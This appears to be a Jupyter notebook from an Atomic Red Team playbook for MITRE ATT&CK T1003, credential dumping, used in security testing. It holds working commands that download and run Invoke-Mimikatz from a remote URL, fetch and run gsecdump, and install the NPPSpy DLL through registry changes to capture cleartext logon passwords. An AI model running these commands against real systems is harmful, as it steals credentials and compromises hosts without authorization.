<jupyter_start><jupyter_text>T1003 - OS Credential DumpingAdversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.  Atomic Tests<jupyter_code>#Import the Module before running the tests.
# Checkout Jupyter Notebook at https://github.com/cyb3rbuff/TheAtomicPlaybook to run PS scripts.
Import-Module /Users/0x6c/AtomicRedTeam/atomics/invoke-atomicredteam/Invoke-AtomicRedTeam.psd1 - Force<jupyter_output><empty_output><jupyter_text>Atomic Test 1 - Powershell MimikatzDumps credentials from memory via Powershell by invoking a remote mimikatz script.If Mimikatz runs successfully you will see several usernames and hashes output to the screen.Common failures include seeing an \"access denied\" error which results when Anti-Virus blocks execution. Or, if you try to run the test without the required administrative privleges you will see this error near the bottom of the output to the screen "ERROR kuhl_m_sekurlsa_acquireLSA"**Supported Platforms:** windowsElevation Required (e.g. root or admin) Attack Commands: Run with `powershell````powershellIEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds```<jupyter_code>Invoke-AtomicTest T1003 -TestNumbers 1<jupyter_output><empty_output><jupyter_text>Atomic Test 2 - GsecdumpDump credentials from memory using Gsecdump.Upon successful execution, you should see domain\username's following by two 32 characters hashes.If you see output that says "compat: error: failed to create child process", execution was likely blocked by Anti-Virus. You will receive only error output if you do not run this test from an elevated context (run as administrator)If you see a message saying "The system cannot find the path specified", try using the get-prereq_commands to download and install Gsecdump first.**Supported Platforms:** windowsElevation Required (e.g. root or admin) Dependencies:  Run with `powershell`! Description: Gsecdump must exist on disk at specified location ({gsecdump_exe}) Check Prereq Commands:```powershellif (Test-Path PathToAtomicsFolder\T1003\bin\gsecdump.exe) {exit 0} else {exit 1}``` Get Prereq Commands:```powershell[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12$parentpath = Split-Path "PathToAtomicsFolder\T1003\bin\gsecdump.exe"; $binpath = "$parentpath\gsecdump-v2b5.exe"IEX(IWR "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-WebRequestVerifyHash.ps1")if(Invoke-WebRequestVerifyHash "https://web.archive.org/web/20150606043951if_/http://www.truesec.se/Upload/Sakerhet/Tools/gsecdump-v2b5.exe" "$binpath" 94CAE63DCBABB71C5DD43F55FD09CAEFFDCD7628A02A112FB3CBA36698EF72BC){  Move-Item $binpath "PathToAtomicsFolder\T1003\bin\gsecdump.exe"}```<jupyter_code>Invoke-AtomicTest T1003 -TestNumbers 2 -GetPreReqs<jupyter_output><empty_output><jupyter_text>Attack Commands: Run with `command_prompt````command_promptPathToAtomicsFolder\T1003\bin\gsecdump.exe -a```<jupyter_code>Invoke-AtomicTest T1003 -TestNumbers 2<jupyter_output><empty_output><jupyter_text>Atomic Test 3 - Credential Dumping with NPPSpyChanges ProviderOrder Registry Key Parameter and creates Key for NPPSpy.After user's logging in cleartext password is saved in C:\NPPSpy.txt.Clean up deletes the files and reverses Registry changes.NPPSpy Source: https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy**Supported Platforms:** windowsElevation Required (e.g. root or admin) Dependencies:  Run with `powershell`! Description: NPPSpy.dll must be available in local temp directory Check Prereq Commands:```powershellif (Test-Path "$env:Temp\NPPSPY.dll") {exit 0} else {exit 1}``` Get Prereq Commands:```powershellInvoke-WebRequest -Uri https://github.com/gtworek/PSBits/raw/f221a6db08cb3b52d5f8a2a210692ea8912501bf/PasswordStealing/NPPSpy/NPPSPY.dll -OutFile "$env:Temp\NPPSPY.dll"```<jupyter_code>Invoke-AtomicTest T1003 -TestNumbers 3 -GetPreReqs<jupyter_output><empty_output><jupyter_text>Attack Commands: Run with `powershell````powershellCopy-Item "$env:Temp\NPPSPY.dll" -Destination "C:\Windows\System32"$path = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER$UpdatedValue = $Path.PROVIDERORDER + ",NPPSpy"Set-ItemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value $UpdatedValue$rv = New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy -ErrorAction Ignore$rv = New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -ErrorAction Ignore$rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Class" -Value 2 -ErrorAction Ignore$rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Name" -Value NPPSpy -ErrorAction Ignore$rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "ProviderPath" -PropertyType ExpandString -Value "%SystemRoot%\System32\NPPSPY.dll" -ErrorAction Ignoreecho "[!] Please, logout and log back in. Cleartext password for this account is going to be located in C:\NPPSpy.txt"```<jupyter_code>Invoke-AtomicTest T1003 -TestNumbers 3<jupyter_output><empty_output>
{'fraction_non_alphanumeric': 0.09312870596442274, 'fraction_numerical': 0.029822113707708407, 'mean_word_length': 6.781546811397558, 'pattern_counts': {'":': 0, '<': 25, '<?xml version=': 0, '>': 25, 'https://': 7, 'lorem ipsum': 0, 'www.': 1, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 2, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'chain_length': '6', 'dir': 'jupyter-structured-clean-dedup', 'id': '434587', 'license': 'MIT', 'n_tokens_mistral': 1938, 'n_tokens_neox': 1750, 'n_words': 475, 'path': 'playbook/tactics/credential-access/T1003.ipynb', 'repo_name': 'haresudhan/The-AtomicPlaybook', 'size': '5734'}